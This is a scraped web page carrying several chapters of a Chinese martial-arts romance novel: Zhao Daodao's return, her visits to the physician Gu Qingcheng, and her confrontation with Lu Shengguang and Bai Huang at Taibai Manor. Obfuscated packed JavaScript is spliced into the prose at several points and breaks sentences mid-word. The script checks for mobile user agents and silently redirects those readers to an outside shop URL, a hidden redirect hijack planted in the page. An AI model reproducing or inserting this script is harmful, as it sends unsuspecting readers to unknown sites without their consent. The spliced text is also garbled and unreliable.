;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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赵刀刀忽然道,“小刀,我还在那里看见了七绝刀法。” “怎么会?!是赵逐带去的?” “应该不是,那里武功秘籍随处可见,都被当做小孩子才看的话本。” 赵刀刀没有接着说下去,赵小刀却忽然明白了赵逐为什么会疯——赵逐和赵如意为了一本功法被人追杀天涯,可在轮回城里,那本功法不过是孩子的玩物。何其可笑。“刀刀,那你……” “我没事。” 赵刀刀这两天说的最多的话就是“没事”“没什么”,可又怎么能没事?他见到她的时候赵刀刀满身是伤,腿也冻得红肿,赵小刀恨不得自己替她受了所有苦痛,此时听她轻描淡写讲起轮回城种种,心知能出来一定历尽千辛万苦,可这些痛他却半点都无法分担,只能抱紧她。 赵刀刀突然坐直,道:“说起来,我还得去找找唐雪他们,周向晚说要替我打的刀鞘,也不知道做好了没?” 赵小刀哭笑不得,“他做好了如何,你要用一把刀鞘去报仇吗?” “报仇?”赵刀刀想起卢盛光,说来奇怪,她虽常常想起刀断那天,对卢盛光这个人却算不上恨,刀断或许早已注定,赵刀刀想起那杯酒和轮回花,眼神暗了暗,心中一定,比起找卢盛光,她还有更该做的事。 82. 不愿 火舌翻涌,木屋的温暖冲散了外面的寒意。 赵刀刀放下了手里的长棍。问:“那间铺子……是你开的?” 赵小刀点头道:“嗯。我一直在找你,但是没有线索,武洲其他的城太远,我向唐雪和周向晚打听过,那些城里也没有你,最后只能回到这里。风月城是你最后消失的地方,这间屋子也是你修过的……我想,在这里等着,说不定有一天你会回来。” 赵刀刀微笑了下,“你见过他们了。” “嗯,你的朋友都是很好的人。”赵小刀道,“我说要在这里等着后,陆家送来了一些兵器,他们都帮了忙。” 赵刀刀看着他,道:“我正巧要买一把刀。” 赵小刀已经注意到她手中没有别的武器,原来的黑刀没了,换一把新的再正常不过。 但出乎意料,他还是拒绝了她,语气斩钉截铁,“不行。” 赵刀刀睁圆了眼睛。“啊?” 迟滞的空气凝聚了四周,两人都看着对方不说话,冷风又从门缝间钻了进来。 赵小刀憋了片刻,忍不住噗嗤一声笑了,道,“其实我已经拜托周向晚帮你再打一把刀了,按着原来黑刀的样子,算算日子,他应该快弄好了。我们可以去取。” 赵刀刀的惊讶换了理由,“你……” 赵小刀笑了笑,“我想你总有一天会回来,那时候的赵刀刀应该还是喜欢练刀吧,要是空有刀鞘该多么伤神。世上没有任何人比周向晚更适合了,他既是你的朋友,又是铸剑师,一定能打出来最适合你的那把刀。” “你说的对。”赵刀刀用左手握住右手手腕,转了转手腕,郑重道,“谢谢。” “不用对我说谢。”赵小刀也正经道。 他喜欢赵刀刀注视他的样子,仿佛世上只有他一人。此刻他们之间的距离不远不近,他可以看清她,也可以随时靠近她,一切都恰到好处。 “嗯。”赵刀刀笑了笑,像是炫耀一般,低声道:“我和你分享一个秘密吧。” 赵小刀竖起了耳朵,期待地望着她。 赵刀刀拉长了调子道,“其实……我在轮回城也有好好练刀的。” “哦?” “轮回城街上的刀谱是真的,我现在应该比原来更厉害一些。”赵刀刀捏了捏赵小刀的手臂,又不动声色地垂下眼睛,刚才她的掌下几乎没有肉,只感到骨头和皮,赵小刀太虚弱了。 赵刀刀玩笑道,“像你这样的,我能打十个。” 赵小刀大笑几声,“赵大侠,打赢我可不算什么本事,你就算不用刀法也可以轻松打赢我的。” 笑声渐低,赵小刀又忍不住问道:“刀刀,你现在练到哪一式……” 赵小刀记得诡悟刀法共有七式,所以又被称作七绝刀,其中第四式他知道赵刀刀已快练成,还剩下五悟道,六断欲,七绝情,不知赵刀刀如今又到了哪一层? 赵刀刀看出了他的紧张,笑了笑:“我练不成第六式啦。” “怎么会?” “我不想。我一开始为了交朋友来到这里的,可再练下去,我就没有朋友啦。”她说得轻松,仿佛混不在意。 但武道之人,谁又不想追求极致,突破境界? 赵小刀一愣,心中既喜又忧,喜的是赵刀刀不会断情绝欲,忧的是练刀也是她一生所爱,若是哪天赵刀刀改变心意要远走修行,自己应当也留不住她。 他的话语中带着一丝紧张,“刀刀……” “我知道刀法练成一定会比现在威力更盛。但我已经想明白了,小刀,若我只是想练刀,在轮回城和出来,又有什么区别?我在里面彻夜难眠,始终还是想要离开,只因那不是我的道。” “刀刀……”赵小刀叹了口气。 “我记得师父说每个人都有自己的道,练功到底为了什么,每个人都有不同。我虽不能像师父一样抛下一切,也练不成七绝刀最后两式,但未必就不能成就刀法。” “我信你。” 赵刀刀笑了笑,不再多说,“对了,明日就启程吧,取了刀,我要先去牡丹城一趟。” 赵小刀一愣,问道:“这么匆忙?去牡丹城做什么?” “找一个人。” “谁?” “白凰。” 赵小刀张了张嘴,没有说话。 杨柳飘飘。 车行至柳城。 街上花叶已从凋零中生出新枝,春天很早就到了。 顾倾城倚在门柱边,看着赵刀刀随性道,“哟,好久不见。” 她是等不到消息最快看开的那一个,也是看见赵刀刀最淡定的一个。 赵刀刀笑了笑,动了动手指弹过去一物。 顾倾城接下,张开手一看,惊诧地瞧了眼赵刀刀,将黑色铜钱拢进袖中收好。 赵刀刀打趣:“没想到?” “是啊,没想到你消失这么久还能活着回来,也没想到你还记得我的好呢。” 赵刀刀笑了笑,“这些日子我听到了一句话。” “什么话?” “这世上谁都能得罪,就是不能得罪医生。” 顾倾城有些新奇地看了看赵刀刀,又瞥了眼赵小刀,轻笑道:“进来吧。” 厅堂。 顾倾城打量着赵小刀,道:“看来你的药吃得不错。” 赵刀刀有些不明所以,看了看赵小刀,问:“他受伤了?” 赵小刀摇摇头,“已经无大碍。” 顾倾城笑了笑,跟赵刀刀说,“他留着,你跟我来。” “哦。” 又是那间四面开阔的房子,纱幔换了颜色,很有春天的清新气息。 顾倾城拿起赵刀刀的手看了看,又放下,指尖顺着赵刀刀的脸侧从眼睛划到下巴。她的手虚搭在赵刀刀的下巴,明明没有使力,却有一种赵刀刀的脸是被自己的手勾起的错觉。 赵刀刀感到一丝危险,更多是不明所以的疑惑,抬头看着顾倾城问:“怎么了?” “你好像一点没变?” 赵刀刀一愣,“我很久没照镜子了。” 顾倾城眯了眯眼,撤开手道:“逗你的。” “……” “跟你来的人,赵小刀……是你朋友?” “嗯。” 顾倾城比了个”坐”的手势,自己也绕到长桌的另一边坐下。“你那朋友来我这里拿过几次药,他好像比你还会折腾,我见到他的时候总是浑身是伤奄奄一息。” “他怎么了?” 顾倾城将一根线香点着,放在一旁静静燃烧,“很奇怪,他好像在替人试毒?” “谁?” 顾倾城摇摇头,“他没有告诉你?” 赵刀刀没说话。 顾倾城勾起一边嘴角笑了下,“你这朋友嘴倒是严得很。” 赵刀刀道,“我之后问问他。” 谈到赵小刀,两人一时无言。 顾倾城将香味挥散一些,两个人就静静坐着。 赵刀刀放松心神,体会着难得的宁静。 离开轮回城后,她几乎一直再风雪中行走,风月城温度偏低,算不上冷但也绝不算暖和,冬季似乎成了永恒,一直笼罩着她的身体,久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728610|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久不散。 直到这里,柳城的生机勃勃才感染了她,让她终于有了自己还活着的感觉。 良久,顾倾城开口问:“有没有一个人对你柔情似水,对别人却心如毒蝎?” 赵刀刀往后靠了些,望着消散的细烟,过了会儿才从喉咙中吐出一声轻轻的叹息,但又不搭调地说:“你?” 顾倾城笑道,“你是真傻还是装傻?你消失太久,和他那么久没见,就不好奇他在做些什么吗?” 赵刀刀低垂了眼,“我不知道。”又轻声问:“人该爱一个全部的人吗?” 她说:“我总觉得,每个人眼里我应该都是不一样的,对唐雪来说,我可能永远勇敢,冲在前方,但并非如此。”她也会怕,也会输,也会拿不起刀。 “所以你不敢见她?” “有点。” 顾倾城轻笑一声,又问,“那赵小刀呢,你觉得他是什么样子?” “他在找我,我也在找他。” “仅此而已?” “嗯。” 顾倾城看着她的眼睛,道:“我倒觉得,人应该爱一个真实的人,哪一面又有什么所谓,只要是真的就行。赵刀刀,你如果真心喜欢他,我只希望——他不要骗你。” “我会小心的。” “别让我小瞧你。” “哦。” “他身上的毒还没好全,不过我给他的药丸只要按时吃就没有大碍,你不急的话留几天等我把他治好再走?” 赵刀刀摸摸鼻子,“有点急。” 顾倾城问,“这么着急去牡丹城,是要做什么?” “我有事找白凰。” 顾倾城不再多问,只是又突然记起一事,“我记得……赵小刀也去过牡丹城。” 赵刀刀有些诧异地望着她:“他去做什么……” “谁知道,他什么都不肯多说,你自己问清楚吧。”顾倾城道:“我还真少见你那朋友开心的样子,他平时连治病都木着一张脸,今天真是见了鬼。” 赵刀刀笑了笑,“多谢你了。对了……我听说人顾神医能解世上所有的毒,真这么厉害?” 谈到这个,顾倾城从上到下看了赵刀刀一眼,道:“只要你叫得上名字的,我应该都能解。” 赵刀刀若有所思地点了点头。 顾倾城自然不会觉得赵刀刀是无缘无故问起这件事的,“……你?” 赵刀刀摇头,伸出手将手腕放在长桌中央,“我没事,不信你看看?” 顾倾城狐疑地把了脉,没有发现任何问题。 她总觉得哪里不对,但这个结果是她亲自下的判断,只能让自己放下心来,放任他们离开。 马车在石子路上前行,颠簸起伏。 赵刀刀坐在车上问,“小刀,你去找过白凰?” “嗯。” 赵刀刀想了想,“你找他有什么特别的事吗?” 赵小刀笑笑,“他的手下遍布武洲,我去问他知不知道你在哪里。” 赵刀刀点点头,”我……”她有些难言,“如果他不在了……” “他的命和我无关。”赵小刀见不得她苦恼皱眉,轻声道:“刀刀,不用猜。所有的事,只要你问,我都会说。” “嗯。”可惜赵刀刀不愿多问。 这世上谁都有不愿说出口的事,赵刀刀是,赵小刀也是。 赵小刀看着她,忽然叹了口气。 没多久赵刀刀也叹了口气。 他们夸张的谈叹气声充满了马车车厢, 两人不知戳到哪根筋,一起捧腹笑开。 83. 算清 佩城陆家。 赵刀刀和赵小刀上门时没见着周向晚,倒是碰上了陆怀瑾。 陆怀瑾揣着手道:“他的刀快做好了,大概就在这几日,你们若是不急,可以在佩城等等。” 赵刀刀有些难办,并非不想见周向晚,她也好奇那把刀造出来究竟是什么模样,只是此时有更该做的事。 陆怀瑾看出她的犹豫,笑道:“若还有事,不必强留,总会再见的,不在这一时。” 他的视线越过赵刀刀看向她身后的男人,神情若有所思。 赵刀刀遥遥望见陆家那块巨石,心中微动,另一件事又涌上心头——她记得花九九说过轮回花毒出了城就会复发,虽然这些天一直无事,顾倾城也没有瞧出什么,但这毒终究令人不安,还是不要随意耽搁了。 她的时间不多,一把好刀固然添翼,可如果还要靠刀才能胜过白凰,未免小瞧了她。 赵刀刀下了决断,让陆怀瑾帮忙转告周向晚,不用着急,他们有事先走,之后会再来陆家。 听闻他们有急事要去牡丹城之后,陆怀瑾更是怀有深意地看了几眼赵小刀,叮嘱赵刀刀万事小心,便送别了。 马车上。 赵刀刀低头盘算着,等她离开太白山庄,那时一切都已有个了解,若是唐雪也无事,还能带着她一起过来见见周向晚。他们都很久没见了。 一路上的舟车劳苦已经难抑赵刀刀心中的激动。 赵小刀发现,她表面上看起来还很平静,但每次触到时好像都紧张到微微颤抖。 他搭上她的手,问:“刀刀,怎么了?” 赵刀刀闭了闭眼,手握紧握成拳又松开,呼出一口气,放松道:“没什么。” 她问,“小刀,你去过太白山庄吧。” “嗯。” “见过白凰吗?” 赵小刀回忆片刻,“从未,我去的时候,太白山庄大部分事都由羌胥接手处置,我没有见过白凰。不过一般人大概都见不到他。” “那你知道一开始追我们那些人都是……” 赵小刀轻轻按压赵刀刀手心的茧,“嗯,我记得那些事,从牡丹城之后追我们的人应该都是太白山庄派来的吧。白梦江在世时创下基业,太白山庄打手无数。”赵小刀勾起嘴角,“不过就算是白梦江,应当也想不到今天太白山庄的盛景——刀刀可知道,现在武洲之外的富商巨贾也都上赶着与太白山庄交好。” 赵刀刀有些惊讶,好奇道:“你是怎么知道这些的?武洲外的人又是怎么回事?” 赵小刀并不避讳,直言道:“我在太白山庄见过卢盛光,他不认识我,本来我也认不出他的,只是他自报家门,我就听下了。和武洲外的势力往来这事,他们现在做得光明正大,唐家应该也发现了。” “你……”赵刀刀忍不住问出心中疑惑,“你为什么要去太白山庄?” 赵小刀道,“我想打听你的消息。”当时的绝望如今已回想不起半点,他风轻云淡地笑了笑,“我那时候刚变成人,只记得刀断那时你在风月城,不知后面你去了哪里,又发生了什么。那会儿风月城封了城不能进去,我想,你的朋友们一定也还牵挂着你,他们或许会有你的消息,便打算从柳州出发,问问他们你在哪里。只是没想到你那天之后谁也找不到你了。” 赵小刀叹了口气,回忆道:“到水城比我想的花了更久,我到唐家打探消息的时候唐雪已经回来了。唐家事务繁忙,人手都派去做其他事,顾不上这些……好在我最后还是见到了唐雪,她说已经派人去寻你,只是一直没有消息传来,生死未卜。唐雪的话让我安心了点,从唐家回来的路上路过牡丹城,我忽然想起了太白山庄。” 赵小刀道:“太白山庄势力不小,你曾经到过牡丹城,于他们有恩,我就想上门试一试,说不定能找到点线索。” 赵刀刀第一次听他说起这些事,好奇道,“后来呢?” 赵小刀摇摇头,“到太白山庄之后,我发现白凰的人也在找你,不知道他们派出了多少人,本来我以为他们只是出于义气想找你,但卢盛光就在其中的话,事情好像并非我想的那样。他们应当是有什么事想找到你,只是那天之后你消失的无影无踪,他们也没有消息。” 赵小刀捏了捏她的手,“打探之后我发现白家几乎笃定你已离开风月城,但我总觉得……你可能还会出现在风月城。便和他们商议合作,在风月城等你回来,若有消息就告诉他们。” 赵刀刀若有所思,“所以那间铺子不只是陆家……你告诉他们我回来了吗?” “没有。”赵小刀勾了勾嘴角,不在意道,“为什么告诉他们,如果不是你要去太白山庄,我倒宁愿他们永远不知道你的消息。” 赵刀刀笑了下,靠在车厢上,缓缓道,“由我亲自来告诉他们吧。当初在牡丹城我欠白凰一杯酒,现在是还给他的时候了。” 赵小刀心想,他们若是只需要一杯酒,又何必如此大张旗鼓?他有些担忧,却不欲阻止,只希望赵刀刀安全地离开白家。 唐家堡离牡丹城不远,出发前他已写信过去,不知唐雪那边是否收到? 想及赵刀刀似乎完全忘了自己还两手空空这件事,赵小刀又问道,“刀刀,你真打算就这么空手去太白山庄?” 他这会儿有些后悔了,早知道行李里说什么都该带上两把刀的。 赵刀刀握了握他的手让他安心,现在她不紧张了,慌张却转移到了赵小刀身上。 她安慰道,“只是一杯酒,不用这么担心。” 哪怕是一柳叶,一杯盏,也够用了。 赵小刀心里隐隐觉得不对,赵刀刀做事一向简单直白,她不会为了一杯酒如此大张旗鼓,但是白凰一路追杀这笔帐,她一定会算个明白。“刀刀……” 看来小刀已经猜到了。“你不用担心。”赵刀刀道:“这事我已经想了很久,从我出来恢复一切记忆就在想,小刀,到时候你不用进去太白山庄,在外面等着我就好。” 距离越来越近了,赵刀刀凝神盘算着到时用什么和白凰做个了断。 余光一瞥,她忽然注意到了赵小刀腰侧翠绿的竹笛,竹笛细长精致,如果再柔软一些,就会更像记忆中已经离开很久的那条蛇。 赵小刀不愿她冒这么大的险,却也不想阻止她做自己的事,一时有些两难。 做人虽有诸多好处,到底是比做一把刀复杂太多。 这种时候,若是他能和从前一样陪着赵刀刀一起就好了。 不过感受着赵刀刀温热的手心,赵小刀又觉得他们还是这样握着手贴近彼此更好些。 快马加鞭,还是花了四天才到牡丹城。 牡丹城繁华更甚往日,商户小贩大声吆喝着,此起彼伏,街上张灯结彩仿佛仍在年关。 有做引路生意的,赵刀刀他们一进城,就眼尖地跟过来问要不要去千凤楼,“客人,你要是不去千凤楼,我这还有其他好店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732359|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值得一住啊!” 说着他已经卖力地推荐起来。 赵刀刀忽然想起牡丹城的第一美人,随口问,“千凤楼今天有场吗,那个第一美人……?” 引路的捏了把汗,陪笑道:“客人,千凤楼的台子已经撤了好久啦,您几位进来如果是想看第一美人,那我可真没门路。” 他眼珠子转转,道:“不过城里有位不逊那位的,我现在找人帮您留个位子?” 赵刀刀摆了摆手,残忍拒绝了。 原来引得万人空巷的第一美人已经很久没露过面,有传言说她已经被哪位富家公子带走了。 赵刀刀听到只是笑笑。 她放过紧张的车夫,顺着记忆中的路线骑马前行,放慢了速度,让赵小刀能轻松跟着。 荒凉之后,繁华的景象映入眼帘,她又来到了太白山庄。 太白山庄依旧辉煌,白玉的石阶在日光下熠熠生辉,乌金的匾额一尘不染,高大的楼宇搭建于高山之上,雄伟壮观。 赵刀刀自报家门,被请进会客厅暂作等待,她耳力过人,一路上听到周围人窃窃私语说她自投罗网,心中笑笑,并不在意。 太白山庄比上次来热闹多了,四处都是人,但因为建筑高大,场地广阔,还是显得空旷。 也或许是因为人人都是白衣,走在其间,仿佛与楼阁地面融为一体,并不显得混乱。 这样的一片白中,赵刀刀和赵小刀皆穿一身黑衣,显得格格不入。 赵刀刀问赵小刀:“这笛子是什么时候有的,你会吹笛子吗?” “不会。”赵小刀回答得毫不心虚。 “……”赵刀刀歪了歪头:“那为什么一直带着?” 赵小刀将笛子取下,“我看到这笛子的第一眼,就觉得很眼熟,便买下了。不知为何,我总觉得自己带着它,好像就能和你更近一些。” 赵刀刀接过细看,“我也有过类似的东西。”她抬头关注着赵小刀的表情。 赵小刀微笑着,好像多了几分开心。 从他的脸上赵刀刀看不出任何多余的神色,赵小刀已经完全记不得那条蛇了。 她转了转笛子,“借我使使?” “你拿去就好,随便用。” 二人交谈间,一个熟悉的身影从远处走近了,是太白山庄的管家羌胥。 他行礼道:“让贵客久等了。” 赵刀刀摆摆手。 “庄主在梧桐苑,”他轻轻挥挥手,走来一个白衣侍童,“让他带你过去。” 赵刀刀点点头。 赵小刀正跟着往前迈了一步,羌胥拦下他,笑道,“庄主只让她一人过去。” 赵小刀点头,也用一样的笑容回敬道,“我知道,只是不知道太白山庄原来这么森严,一步也不能走动?” 羌胥又笑了笑,他的笑总是不达眼底,“请便,不出这间屋子就行。” 说完自己径直走到厅中坐下。 两个侍卫已站在门口两侧。 赵刀刀走到门口,停下对赵小刀道,“不用担心,我很快回来。” 赵小刀点点头,握紧她的手腕又松开,低声叮嘱道,“小心。” 赵刀刀颔首,身影消失在长廊转角。 眼看视野中再无她的身影,赵小刀身上的朝气仿佛也一瞬间消失殆尽,和逐渐阴沉的天气一样变得昏暗晦涩。 他转过身,皮笑肉不笑道,“羌管家,别来无恙啊。” 84. 白凰 梧桐苑。 赵刀刀走在后面,前面带路的小童一言不发,停在拱门前。 赵刀刀冲他点点头,跨过门进去。 走了不过三步,她忽然停下脚步。 掌风袭来,赵刀刀闪身避过,看到来人是谁,眯了眯眼。 竟是个熟人。 “卢盛光。” 卢盛光站定,捋了捋胡须,“小友这回竟然记得老夫了。” “哼。”赵刀刀冷哼一声,横笛而立,竹笛翠色欲滴。 “看来上次打断小友的刀,是老夫的不对了,没想到小友练刀之人,却只买得起一把刀,现在还得用这种玩意儿充数。不过——”卢盛光笑了笑,“山庄里神兵利器数不胜数,就是我家武器库中也有几把好刀……小友若是想要,求求我,倒可以送些给小友。” 说着就提掌攻来。 赵刀刀也笑了笑,“我还没打算找你,你就送上门来了,看来是等不及要送死。那就成全你。” 她知道卢盛光的扳指坚硬无比,脚尖点地旋身避开,手掌一翻,手中竹笛也跟着一转,竟以刁钻角度从后方攻向卢盛光的后颈。 绿影闪动,出招刹那仿佛一条灵蛇张开大嘴要咬向脖子。 卢盛光悚然一惊,匆匆收招避开,冷汗直冒,怎么会?赵刀刀的速度竟比当时碰上她更快了! “竖子!难怪庄主要找你,不知用了什么古怪手段提升功力,不用想也都是些阴毒招数,今天,便让老夫为天下除害!” 赵刀刀弯了弯眼睛,笑出了声,将笛子在手中转了两圈。 她许久不耍这些花招,此时心中竟莫名生出几分开心,不过这笛子比起刀实在太轻,她仿佛在把玩空气,“姓卢的,我还真不忍心这笛子沾上你的血。” 她嘴上轻佻,眼睛却全神贯注地盯着卢盛光,谨防周围。 赵刀刀犹记得卢盛光还随身带着一把短刀许多暗器。见他袖口一动,心道:来了! 银光闪闪,破空声中,无数锋利薄刃迎面而来! 赵刀刀已不是第一次见这招,更何况她在轮回城也不曾间断练习,刀法比之当时更强。 手中竹笛轻巧,掌控竹笛比木刀还要容易,赵刀刀的速度已经快到无法看清,手中的绿色仿佛消失了一瞬。 她竟毫不闪避,使出一招“墨洒向飞”迎向暗器,竹笛于细小暗器间穿行,仿佛真的变成游蛇,灵动敏捷。 卢盛光甚至没看到她的手腕是怎么动的,只听铁器相交之声密密麻麻,绿影闪动,暗器便被片片击落,叮叮当当摔在地上。 卢盛光心中震惊,面上不露声色,见一计不成,便趁着还有暗器持短剑横削而去。 赵刀刀提气相迎,卢盛光心中一喜,她竟对剩下的暗器避也不避! 果然是年轻人,他脸上的笑容还没有落下,却化作惊讶—— 竹笛点压在剑身之上,赵刀刀就借着这么一点力,飞到空中翻了个身,轻巧落在他的身后! 赵刀刀将竹笛送向卢盛光心口,碰到衣襟的片刻,突然想到什么,一击便撤。 竹笛带起风声,仿佛有人凄厉地吹了一声笛子,笛声过后,卢盛光的身后衣衫被划破,透出的护甲也损了道口子,里头隐隐渗出血来。 “你!”卢盛光心中隐隐生出不妙的预感,直觉的眼前人刻意收手,是有意侮辱于他。 卢盛光大喝一声,剑指上,掌攻下,疾速而来! “可惜。” 赵刀刀滑步斜砍,与他过招,竹笛这会儿又成了坚硬无比的利器,几百招也接得游刃有余。 见他招式疲软,她顺势连攻几招。 霎时,卢盛光仿佛被绿色云雾笼罩,朦胧绿意间,他难辨招式虚实,将周围的树也当作长笛,不管不顾地出剑。 等竹笛出现在眼前时,转剑回防已来不及,被赵刀刀重击头,肩,胸,腿几处大穴。 赵刀刀击打他的手腕,提气将他一脚踢开。 还未落地,卢盛光便噗地吐出一口血来,随着一声响重重倒地,溅起灰尘,“你!” 他的手腕脱力垂下,剑远远砸在白玉石砖上。 赵刀刀走近道,“我讨厌杀人。” 卢盛光撑着手臂后退,向后爬去。 赵刀刀折断旁边一枝盛放的花。 一株紫色的花在卢盛光的身上盛放了。 他的头砸在地上。 赵刀刀拿着竹笛在空中挥过一道弧线,竹笛纤尘不染,没有一丝血迹,她顺势做了个收刀动作,继续往前走。 赵刀刀路过卢盛光身侧,没有片刻停留。 梧桐苑静得出奇,一路上她再也没有遇见其他人。 远远听到水声,遥遥望去,终于快走到梧桐苑的那片湖边。 赵刀刀眯了眯眼,湖中亭上有一道白色身影。 她放慢了脚步,从细长廊道走过去,越走草木味道越淡,酒味越浓,未饮已令人沉醉。 白凰站在亭边,望着湖水背对着她,举起酒杯道:“许久不见。” “很久没见。” “你这次来是为了什么?”他转过身。 靠近了,赵刀刀才看到他左眼眼尾有一颗鲜艳如血的红痣。“我还欠你一杯酒。” 白凰笑了笑:“我有时候真的很好奇,你的江湖是否就那么简单?谁杀你你就杀谁,谁护你,你就帮谁?” “你说的不对。”赵刀刀一步踏上三级不高的石阶,站在白凰面前两步远的地方。 她的话只说了一半,没有再回答更多。 白凰看着她,抬了抬下巴,“你的刀呢?” “在外头。” 白凰叹了口气,“如果我说,派人出去并非要至你于死地,只是想找到你,你可会信?” 一阵风吹过,酒气被吹散一些。 长久的沉默中,白凰以为她已经不会回答,自嘲地笑笑。 “我信。”赵刀刀忽然道。 她从来很相信自己的朋友。 白凰微微睁大双眼,似乎有些错愕。他弯起眼睛,眼尾的痣随着微微颤动,仰头喝干一杯酒,“可惜,我派去找你的那些人,他们一个也不信。” 他说,“这天下已经没人会信,我找你并不是为了刀谱。” 赵刀刀眯了眯眼,“你是什么时候知道的?” “你离开太白山庄那天。” “为什么?” “那本书里记了些。” “什么书?”赵刀刀忽然想起,“山洞里的那本册子?” 白凰点了点头。“那里面记载了很多事。虽然只记载了两招七绝刀法,但也足够让人认出了。” 赵刀刀没想到一起居然是从自己找到的那本书而起,她用拇指轻轻磨了磨笛子。“……武洲动乱又是因何而起?” “我以为你不会问的,这些事毕竟与你无关。” 赵刀刀抿了抿唇。 白凰淡淡道:“那上面记载了许多陈年旧事,一些无聊却有用的秘密。不止有太白山庄的,还有其他门派的。” “武洲之外的人呢?他们进来也是?” 白凰笑了笑,他看起来全无恶意,却更令人汗毛骨悚然。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736816|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白凰斟了一杯酒,“这样不好?白梦江一生愿景恐怕也不过如此,门徒无数,财宝无数,太白山庄在武洲无人可敌。” “你呢?” “他是我父亲,我自然要先完成他的愿望。至于我的愿望——”白凰将酒壶重重放在桌上,一时酒香四溢,“我真想亲眼看到太白山庄倒下的那天。” “……” 白凰问:“你在那山洞里还遇到过什么?” 赵刀刀不明白他现在问起的缘由,“一把剑?” 见白凰无动于衷,她想了想:“我还遇到过一个怪人。” “他是个怎么样的人?” “他疯了,神志不清,已经不能算做人。” 白凰突然大笑起来,待笑声止歇,他道:“疯了啊,这样也好,你可知他是谁?” 白凰自答道:“他是曾经的天下第九,白梦江的好兄弟,他不想争名夺利,夺下第九后本打算归隐,却被骗取服毒,关起来练成了傀儡——成了白梦江最锋利的剑。” 赵刀刀冷静问,“所以天下第九才成了白梦江?” “是,那本书里还记载了如何炼制这种控制人心的毒药。” 赵刀刀心中一惊,“你——” 白凰笑了笑,“我毁了。白梦江并非我父亲,可惜我认贼作父,还自以为无所不知。” 赵刀刀心道,因为这事,所以他才要让太白山庄衰落? 天空中忽然传来一声鹰鸣,赵刀刀抬头。 白凰一抬手,“畜牲。”从隔壁院落射出一箭,斜射入翅膀,老鹰吃痛翻旋着飞走了。 白凰幽幽道:“现在只有我们俩了。” 赵刀刀的手握上竹笛。 白凰笑着倒了一杯酒,端起酒杯道:“赵刀刀,你既然记得自己欠我一杯酒,专门来寻,我便当你我算得上朋友,现在……你还敢喝这杯酒吗?” 赵刀刀静静看着他,想及第一次离开太白山庄时他的送别,他们算是朋友吗? 赵刀刀松开笛子,接过酒盏。 白凰的目光紧盯着她的手。 那只手端起酒杯一口饮尽。 白凰僵在原地,似乎有些发愣,而下一刻,他也一口饮尽手里的酒,将酒杯重重放在石台上,转身走向湖边。 赵刀刀忽然不着调地想到,背对敌人是武学大忌,又想,羌胥好像说过他练不了武。 白凰忽然幽幽唱起了一支曲子,“瞻彼日月,悠悠我思。道之云远,曷云能来——” 远处似乎又琴声相和,湖面起烟了。 赵刀刀有些惊讶,但心中长久的疑问此刻终于落定。看着他的背影,朦胧中仿佛又看到了当年千凤楼里风华绝代的天下第一美人。 可惜白凰已经将赤红的戏服烧了干净。 白凰的脸上泛起不自然的绯红。 新的大戏已经排好,但他不能看到终局了。 白凰闭上了眼睛,他酒杯里的毒此刻仿佛火焰一般,要烧尽五脏六腑。 何处才能觅得一片清凉? 他的声音断断续续,像是歪歪扭扭的线,最后通的一声,隐没在湖水中。 赵刀刀握紧了竹笛。 梧桐苑细雨落下,沙沙作响。 湖面的波澜渐渐平复,只剩雨水激起的涟漪。 一切尘埃落定了吗? 为什么她既不觉得爽快,也没有感到心痛。 赵刀刀站了很久,才慢慢走到桌边,倒满一杯酒,撒在湖面上。 细雨绵绵其后,湖面烟更浓,朦胧如仙境。 她转身离开。 85. 归途 天色开始变得有些阴沉。 随赵刀刀往梧桐苑去,一切仿佛都没了声音。 奇怪的是,太白山庄越静,赵小刀越是觉得自己仿佛能听到远处传来的歌声。 难辨方向的歌声。 赵小刀看了看守在门口的侍卫,转过身走进厅堂。 “羌管家,别来无恙啊。” 他好整以暇地看着那位算不上熟也不能说不熟的朋友。 羌胥让身旁正在说话的小童退下,略微回忆,“我记得……你叫赵小刀?” 赵小刀走到一旁坐下。“难得管家还记着。” 羌胥走到桌另一边坐下,对着他笑了笑。 太白山庄的管家总是板着一副严肃沉稳的面孔,看起来比实际年龄能大出十岁不止,此时他的笑却颇有些冷冽的意味,还带着一丝不易察觉的恶劣。 “赵小刀……你果然和赵刀刀有些关系,不过,她知道你在太白山庄交易过什么吗?” 羌胥已经想起了眼前这张脸。 